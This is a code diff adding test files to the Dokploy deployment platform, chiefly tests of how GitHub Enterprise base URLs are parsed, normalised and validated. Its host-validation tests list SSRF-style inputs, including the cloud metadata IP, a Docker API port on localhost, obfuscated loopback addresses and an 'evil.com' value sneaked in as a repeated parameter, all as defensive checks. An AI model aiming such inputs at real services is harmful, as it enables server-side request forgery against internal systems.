githubUrl,
|
||||
githubAppId: 1,
|
||||
githubPrivateKey: "key",
|
||||
githubInstallationId: "42",
|
||||
});
|
||||
|
||||
const clone = async () => {
|
||||
const command = await cloneGithubRepository({
|
||||
appName: "my-app",
|
||||
owner: "acme",
|
||||
repository: "web",
|
||||
branch: "main",
|
||||
githubId: "gh-1",
|
||||
enableSubmodules: false,
|
||||
serverId: null,
|
||||
});
|
||||
return command.replace(/\\/g, "");
|
||||
};
|
||||
|
||||
describe("cloneGithubRepository host", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it("clones from github.com for a default provider", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://github.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("ghe.com");
|
||||
});
|
||||
|
||||
it("clones from the Enterprise host, not github.com", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com"));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@acme.ghe.com/acme/web.git",
|
||||
);
|
||||
expect(command).not.toContain("github.com");
|
||||
});
|
||||
|
||||
it("clones from a self-hosted Enterprise Server host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.corp.acme.com"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.corp.acme.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port in the clone host", async () => {
|
||||
mockFindGithubById.mockResolvedValue(
|
||||
provider("https://github.acme.com:8443"),
|
||||
);
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.acme.com:8443/acme/web.git",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com for a provider stored before this feature", async () => {
|
||||
mockFindGithubById.mockResolvedValue(provider(""));
|
||||
|
||||
const command = await clone();
|
||||
|
||||
expect(command).toContain(
|
||||
"https://oauth2:gh-token@github.com/acme/web.git",
|
||||
);
|
||||
});
|
||||
});
|
||||
168
apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts
Normal file
168
apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts
Normal file
@ -0,0 +1,168 @@
|
||||
import {
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
DEFAULT_GITHUB_URL,
|
||||
deriveGithubApiUrl,
|
||||
normalizeGithubUrl,
|
||||
parseGithubBaseUrl,
|
||||
} from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const urlOf = (result: ReturnType<typeof parseGithubBaseUrl>) =>
|
||||
"url" in result ? result.url : null;
|
||||
|
||||
describe("normalizeGithubUrl", () => {
|
||||
it("defaults to github.com when empty", () => {
|
||||
expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("assumes https when no scheme is given", () => {
|
||||
expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com");
|
||||
});
|
||||
|
||||
it("strips paths, queries and trailing slashes", () => {
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe(
|
||||
"https://github.acme.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps an explicit port", () => {
|
||||
expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("falls back to github.com on unusable input", () => {
|
||||
expect(normalizeGithubUrl("ftp://github.acme.com")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("http://github.internal")).toBe(
|
||||
DEFAULT_GITHUB_URL,
|
||||
);
|
||||
expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
});
|
||||
|
||||
describe("parseGithubBaseUrl", () => {
|
||||
it("accepts github.com and Enterprise hosts", () => {
|
||||
expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe(
|
||||
"https://acme.ghe.com",
|
||||
);
|
||||
// A self-hosted instance behind the corporate network is a valid target.
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe(
|
||||
"https://github.corp.acme.com",
|
||||
);
|
||||
expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe(
|
||||
"https://github.acme.com:8443",
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent value as github.com", () => {
|
||||
// Not specified is different from specified wrong.
|
||||
expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL);
|
||||
});
|
||||
|
||||
it("rejects plaintext http", () => {
|
||||
expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects dotless hostnames", () => {
|
||||
expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("rejects a dotless hostname hidden behind the DNS root label", () => {
|
||||
// "metadata." resolves like "metadata" but the trailing dot would satisfy
|
||||
// a naive `includes(".")` check.
|
||||
expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error");
|
||||
expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error");
|
||||
});
|
||||
|
||||
it("never falls back to github.com on a typo", () => {
|
||||
// The symptom that opened the ticket: a provider silently pointing at
|
||||
// github.com and reporting that it cannot find the repositories.
|
||||
for (const typo of [
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
]) {
|
||||
const result = parseGithubBaseUrl(typo);
|
||||
expect(result, typo).toHaveProperty("error");
|
||||
expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("deriveGithubApiUrl", () => {
|
||||
it("maps github.com to api.github.com", () => {
|
||||
expect(deriveGithubApiUrl("https://github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
});
|
||||
|
||||
it("prefixes api. for data residency tenants", () => {
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe(
|
||||
"https://api.americancreditacceptance.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("uses /api/v3 for Enterprise Server", () => {
|
||||
expect(deriveGithubApiUrl("https://github.acme.com")).toBe(
|
||||
"https://github.acme.com/api/v3",
|
||||
);
|
||||
expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe(
|
||||
"https://github.acme.com:8443/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not treat a lookalike host as data residency", () => {
|
||||
// Must not match the .ghe.com branch just because the string contains it.
|
||||
expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe(
|
||||
"https://ghe.com.acme.io/api/v3",
|
||||
);
|
||||
});
|
||||
|
||||
it("still detects data residency behind the DNS root label", () => {
|
||||
// "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall
|
||||
// through to the /api/v3 branch.
|
||||
expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe(
|
||||
"https://api.acme.ghe.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("maps www.github.com, which a user may well type", () => {
|
||||
// Not dead weight: GitHub never redirects a manifest there, but the value
|
||||
// comes from a text field. Without this it would derive
|
||||
// https://www.github.com/api/v3.
|
||||
expect(deriveGithubApiUrl("https://www.github.com")).toBe(
|
||||
DEFAULT_GITHUB_API_URL,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("providers created before Enterprise support", () => {
|
||||
it("keeps pointing at github.com", () => {
|
||||
// The column defaults to https://github.com, but a null must not break it.
|
||||
expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL);
|
||||
expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com");
|
||||
});
|
||||
});
|
||||
143
apps/dokploy/__test__/git-provider/github-setup-handler.test.ts
Normal file
143
apps/dokploy/__test__/git-provider/github-setup-handler.test.ts
Normal file
@ -0,0 +1,143 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
// The gh_init branch runs on a GET the user can be linked into, so a rejected
|
||||
// host must produce a 400 *before* any outbound request is made.
|
||||
const mockValidateRequest = vi.hoisted(() => vi.fn());
|
||||
const mockHasPermission = vi.hoisted(() => vi.fn());
|
||||
const mockCreateGithub = vi.hoisted(() => vi.fn());
|
||||
const mockOctokitRequest = vi.hoisted(() => vi.fn());
|
||||
|
||||
vi.mock("@dokploy/server", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("@dokploy/server")>();
|
||||
return {
|
||||
...actual,
|
||||
validateRequest: mockValidateRequest,
|
||||
createGithub: mockCreateGithub,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@dokploy/server/services/permission", () => ({
|
||||
hasPermission: mockHasPermission,
|
||||
}));
|
||||
|
||||
vi.mock("octokit", () => ({
|
||||
Octokit: class {
|
||||
request = mockOctokitRequest;
|
||||
},
|
||||
}));
|
||||
|
||||
const { default: handler } = await import("@/pages/api/providers/github/setup");
|
||||
|
||||
const ORG = "org-1";
|
||||
const USER = "user-1";
|
||||
|
||||
const buildRes = () => {
|
||||
const res = {
|
||||
statusCode: 0,
|
||||
body: undefined as unknown,
|
||||
redirectedTo: undefined as string | undefined,
|
||||
status(code: number) {
|
||||
res.statusCode = code;
|
||||
return res;
|
||||
},
|
||||
json(payload: unknown) {
|
||||
res.body = payload;
|
||||
return res;
|
||||
},
|
||||
redirect(_code: number, url: string) {
|
||||
res.redirectedTo = url;
|
||||
return res;
|
||||
},
|
||||
};
|
||||
return res;
|
||||
};
|
||||
|
||||
const call = async (githubUrl?: string | string[]) => {
|
||||
const res = buildRes();
|
||||
const req = {
|
||||
query: {
|
||||
code: "manifest-code",
|
||||
state: `gh_init:${ORG}:${USER}`,
|
||||
...(githubUrl === undefined ? {} : { githubUrl }),
|
||||
},
|
||||
headers: {},
|
||||
} as unknown as Parameters<typeof handler>[0];
|
||||
|
||||
await handler(req, res as unknown as Parameters<typeof handler>[1]);
|
||||
return res;
|
||||
};
|
||||
|
||||
describe("github setup handler — host validation", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mockValidateRequest.mockResolvedValue({
|
||||
user: { id: USER },
|
||||
session: { activeOrganizationId: ORG },
|
||||
});
|
||||
mockHasPermission.mockResolvedValue(true);
|
||||
mockOctokitRequest.mockResolvedValue({
|
||||
data: {
|
||||
name: "Dokploy",
|
||||
html_url: "https://acme.ghe.com/apps/dokploy",
|
||||
id: 1,
|
||||
client_id: "cid",
|
||||
client_secret: "csecret",
|
||||
webhook_secret: "wsecret",
|
||||
pem: "key",
|
||||
},
|
||||
});
|
||||
mockCreateGithub.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it.each([
|
||||
["http://acme.ghe.com", "plaintext http"],
|
||||
["http://localhost:2375", "internal service over http"],
|
||||
["https://metadata", "dotless hostname"],
|
||||
["htps://acme.ghe.com", "scheme typo"],
|
||||
])("rejects %s (%s) with 400 and no outbound request", async (githubUrl) => {
|
||||
const res = await call(githubUrl);
|
||||
|
||||
expect(res.statusCode).toBe(400);
|
||||
expect(mockOctokitRequest).not.toHaveBeenCalled();
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("throws on a repeated parameter instead of silently picking one", async () => {
|
||||
// ?githubUrl=a&githubUrl=b reaches .trim() on an array.
|
||||
await expect(
|
||||
call(["https://acme.ghe.com", "https://evil.com"]),
|
||||
).rejects.toThrow();
|
||||
|
||||
expect(mockCreateGithub).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("accepts a data residency tenant", async () => {
|
||||
await call("https://acme.ghe.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://acme.ghe.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts a self-hosted Enterprise Server host", async () => {
|
||||
await call("https://github.corp.acme.com");
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
|
||||
it("treats an absent parameter as github.com", async () => {
|
||||
await call(undefined);
|
||||
|
||||
expect(mockCreateGithub).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ githubUrl: "https://github.com" }),
|
||||
ORG,
|
||||
USER,
|
||||
);
|
||||
});
|
||||
});
|
||||
75
apps/dokploy/__test__/git-provider/github-url-parity.test.ts
Normal file
75
apps/dokploy/__test__/git-provider/github-url-parity.test.ts
Normal file
@ -0,0 +1,75 @@
|
||||
import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
|
||||
|
||||
/**
|
||||
* The client cannot import from @dokploy/server (node-only modules), so
|
||||
* resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file
|
||||
* stops the two from drifting apart — and they already did once, when the
|
||||
* client stripped trailing slashes but not paths and the form action disagreed
|
||||
* with the persisted row.
|
||||
*
|
||||
* The invariant: for the same input, both must make the same accept/reject
|
||||
* decision, and agree on the URL when they accept.
|
||||
*/
|
||||
const INPUTS = [
|
||||
// Accepted
|
||||
"https://github.com",
|
||||
"github.com",
|
||||
"https://acme.ghe.com",
|
||||
"acme.ghe.com",
|
||||
"https://github.corp.acme.com",
|
||||
"https://github.acme.com:8443",
|
||||
"https://acme.ghe.com/",
|
||||
"https://acme.ghe.com///",
|
||||
"https://acme.ghe.com/enterprises/foo",
|
||||
"https://acme.ghe.com/some/path?x=1",
|
||||
" acme.ghe.com ",
|
||||
"https://acme.ghe.com.",
|
||||
"https://169.254.169.254",
|
||||
"https://127.0.0.1",
|
||||
"https://2130706433",
|
||||
"https://0x7f.1",
|
||||
"",
|
||||
" ",
|
||||
// Rejected
|
||||
"http://acme.ghe.com",
|
||||
"http://localhost:2375",
|
||||
"https://[::1]",
|
||||
"https://[::ffff:127.0.0.1]",
|
||||
"https://metadata",
|
||||
"https://metadata.",
|
||||
"https://localhost",
|
||||
"https://localhost.",
|
||||
"htps://acme.ghe.com",
|
||||
"ftp://acme.ghe.com",
|
||||
"https://",
|
||||
"acme .ghe.com",
|
||||
"esto no es una url",
|
||||
];
|
||||
|
||||
describe("client and server agree on GitHub base URLs", () => {
|
||||
it.each(INPUTS)("%j", (input) => {
|
||||
const client = resolveGithubBaseUrl(input);
|
||||
const server = parseGithubBaseUrl(input);
|
||||
|
||||
const clientAccepted = !client.error;
|
||||
const serverAccepted = "url" in server;
|
||||
|
||||
expect(
|
||||
clientAccepted,
|
||||
`accept/reject differs for ${JSON.stringify(input)}`,
|
||||
).toBe(serverAccepted);
|
||||
|
||||
if (clientAccepted && "url" in server) {
|
||||
expect(client.baseUrl, `resolved URL differs for ${input}`).toBe(
|
||||
server.url,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("both treat an empty value as github.com", () => {
|
||||
expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL);
|
||||
expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL });
|
||||
});
|
||||
});
|
||||
42
apps/dokploy/__test__/logs/log-classification.test.ts
Normal file
42
apps/dokploy/__test__/logs/log-classification.test.ts
Normal file
@ -0,0 +1,42 @@
|
||||
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||
import { expect, test } from "vitest";
|
||||
|
||||
test("classifies real failures as error", () => {
|
||||
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
|
||||
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
|
||||
expect(getLogType("Deployment failed").type).toBe("error");
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
|
||||
).type,
|
||||
).toBe("error");
|
||||
});
|
||||
|
||||
test("does not classify explicit non-error key/values as error (#4538)", () => {
|
||||
// ofelia job-completion summary for a successful run
|
||||
expect(
|
||||
getLogType(
|
||||
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
|
||||
).type,
|
||||
).not.toBe("error");
|
||||
|
||||
expect(getLogType("request done, error: null").type).not.toBe("error");
|
||||
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
|
||||
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
|
||||
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
|
||||
});
|
||||
|
||||
test("keeps errors whose value merely starts with a no-error word", () => {
|
||||
expect(getLogType("connect failed: no route to host").type).toBe("error");
|
||||
expect(getLogType("connection failed: no such host").type).toBe("error");
|
||||
expect(
|
||||
getLogType("error: none of the configured nodes are available").type,
|
||||
).toBe("error");
|
||||
expect(getLogType("error: nil pointer dereference").type).toBe("error");
|
||||
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
|
||||
});
|
||||
|
||||
test("keeps statusCode-based classification", () => {
|
||||
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
|
||||
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
|
||||
});
|
||||
@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
|
||||
"logs",
|
||||
"monitoring",
|
||||
"auditLog",
|
||||
"vaultProvider",
|
||||
"dnsProvider",
|
||||
];
|
||||
|
||||
describe("enterpriseOnlyResources set", () => {
|
||||
|
||||
@ -55,6 +55,28 @@ describe("processLogs", () => {
|
||||
expect(result.data).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
|
||||
const entryWithoutRequestHost = sampleLogEntry.replace(
|
||||
/"RequestHost":"[^"]*",/,
|
||||
"",
|
||||
);
|
||||
|
||||
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
|
||||
|
||||
expect(() =>
|
||||
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
|
||||
).not.toThrow();
|
||||
|
||||
const result = parseRawConfig(
|
||||
mixedEntries,
|
||||
undefined,
|
||||
undefined,
|
||||
"traefik.me",
|
||||
);
|
||||
expect(result.totalCount).toBe(1);
|
||||
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
|
||||
});
|
||||
|
||||
it("should filter out Dokploy dashboard requests", () => {
|
||||
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
|
||||
|
||||
|
||||
24
apps/dokploy/__test__/server/server-health-subnet.test.ts
Normal file
24
apps/dokploy/__test__/server/server-health-subnet.test.ts
Normal file
@ -0,0 +1,24 @@
|
||||
import { getSubnetCapacity } from "@dokploy/server/services/server-health";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
describe("getSubnetCapacity", () => {
|
||||
test("returns null for missing/invalid input", () => {
|
||||
expect(getSubnetCapacity(undefined)).toBeNull();
|
||||
expect(getSubnetCapacity("")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0")).toBeNull();
|
||||
expect(getSubnetCapacity("not-a-subnet")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
|
||||
});
|
||||
|
||||
test("excludes network and broadcast addresses", () => {
|
||||
expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
|
||||
expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
|
||||
expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
|
||||
});
|
||||
|
||||
test("returns 0 for subnets too small to hold a host", () => {
|
||||
expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
|
||||
expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
|
||||
});
|
||||
});
|
||||
113
apps/dokploy/__test__/services/overview-backups-icon.test.ts
Normal file
113
apps/dokploy/__test__/services/overview-backups-icon.test.ts
Normal file
@ -0,0 +1,113 @@
|
||||
import {
|
||||
getBackupOverviewIcon,
|
||||
getServiceOverviewIcon,
|
||||
} from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
describe("getServiceOverviewIcon", () => {
|
||||
test("returns a db icon for every known DB engine type", () => {
|
||||
for (const type of [
|
||||
"postgres",
|
||||
"mariadb",
|
||||
"mysql",
|
||||
"mongo",
|
||||
"redis",
|
||||
"libsql",
|
||||
] as const) {
|
||||
expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
|
||||
kind: "db",
|
||||
engine: type,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
test("returns a custom icon for application/compose with a service icon set", () => {
|
||||
expect(
|
||||
getServiceOverviewIcon({
|
||||
type: "application",
|
||||
icon: "data:image/png;base64,x",
|
||||
}),
|
||||
).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
|
||||
expect(
|
||||
getServiceOverviewIcon({
|
||||
type: "compose",
|
||||
icon: "data:image/png;base64,y",
|
||||
}),
|
||||
).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
|
||||
});
|
||||
|
||||
test("falls back to a generic icon for application/compose without a service icon", () => {
|
||||
expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
|
||||
{
|
||||
kind: "generic",
|
||||
type: "application",
|
||||
},
|
||||
);
|
||||
expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
|
||||
kind: "generic",
|
||||
type: "compose",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("getBackupOverviewIcon", () => {
|
||||
test("returns a db icon for a database backup with a known databaseType", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "postgres",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "postgres",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "postgres" });
|
||||
});
|
||||
|
||||
test("returns a webServer icon for a web-server database backup", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "web-server",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "web-server",
|
||||
}),
|
||||
).toEqual({ kind: "webServer" });
|
||||
});
|
||||
|
||||
test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "mysql",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "compose",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "mysql" });
|
||||
});
|
||||
|
||||
test("returns a db icon for a volume backup of a known DB engine service", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "mongo",
|
||||
serviceOwnerType: "mongo",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "mongo" });
|
||||
});
|
||||
|
||||
test("returns a generic application icon for a volume backup of an application", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "application",
|
||||
serviceOwnerType: "application",
|
||||
}),
|
||||
).toEqual({ kind: "generic", type: "application" });
|
||||
});
|
||||
|
||||
test("returns a generic compose icon for a volume backup of a compose service", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "compose",
|
||||
serviceOwnerType: "compose",
|
||||
}),
|
||||
).toEqual({ kind: "generic", type: "compose" });
|
||||
});
|
||||
});
|
||||
79
apps/dokploy/__test__/services/overview-domains-sort.test.ts
Normal file
79
apps/dokploy/__test__/services/overview-domains-sort.test.ts
Normal file
@ -0,0 +1,79 @@
|
||||
import type { OverviewDomain } from "@dokploy/server/services/overview";
|
||||
import { sortOverviewDomains } from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
|
||||
domainId: "id",
|
||||
host: "example.com",
|
||||
path: "/",
|
||||
port: 3000,
|
||||
customEntrypoint: null,
|
||||
https: true,
|
||||
certificateType: "letsencrypt",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
enabled: true,
|
||||
domainType: "application",
|
||||
serviceOwnerId: "app",
|
||||
serviceOwnerType: "application",
|
||||
serviceName: "App",
|
||||
projectId: "project",
|
||||
projectName: "Project",
|
||||
environmentId: "environment",
|
||||
environmentName: "Environment",
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe("sortOverviewDomains", () => {
|
||||
test("sorts by createdAt asc/desc", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||
makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
|
||||
).toEqual(["old", "mid", "new"]);
|
||||
expect(
|
||||
sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
|
||||
).toEqual(["new", "mid", "old"]);
|
||||
});
|
||||
|
||||
test("sorts by port asc/desc, with portless domains always last", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "none", port: null }),
|
||||
makeDomain({ domainId: "low", port: 80 }),
|
||||
makeDomain({ domainId: "high", port: 8080 }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
|
||||
).toEqual(["low", "high", "none"]);
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||
).toEqual(["high", "low", "none"]);
|
||||
});
|
||||
|
||||
test("port sort with all domains portless is a no-op", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "a", port: null }),
|
||||
makeDomain({ domainId: "b", port: null }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||
).toEqual(["a", "b"]);
|
||||
});
|
||||
|
||||
test("does not mutate the input array", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "b", port: 8080 }),
|
||||
makeDomain({ domainId: "a", port: 80 }),
|
||||
];
|
||||
const original = [...domains];
|
||||
|
||||
sortOverviewDomains(domains, "port-asc");
|
||||
|
||||
expect(domains).toEqual(original);
|
||||
});
|
||||
});
|
||||
106
apps/dokploy/__test__/services/overview-services-sort.test.ts
Normal file
106
apps/dokploy/__test__/services/overview-services-sort.test.ts
Normal file
@ -0,0 +1,106 @@
|
||||
import type { OverviewService } from "@dokploy/server/services/overview";
|
||||
import { sortOverviewServices } from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
|
||||
id: "id",
|
||||
type: "application",
|
||||
name: "name",
|
||||
appName: "app-name",
|
||||
status: "running",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
serverId: null,
|
||||
serverName: null,
|
||||
icon: null,
|
||||
projectId: "project",
|
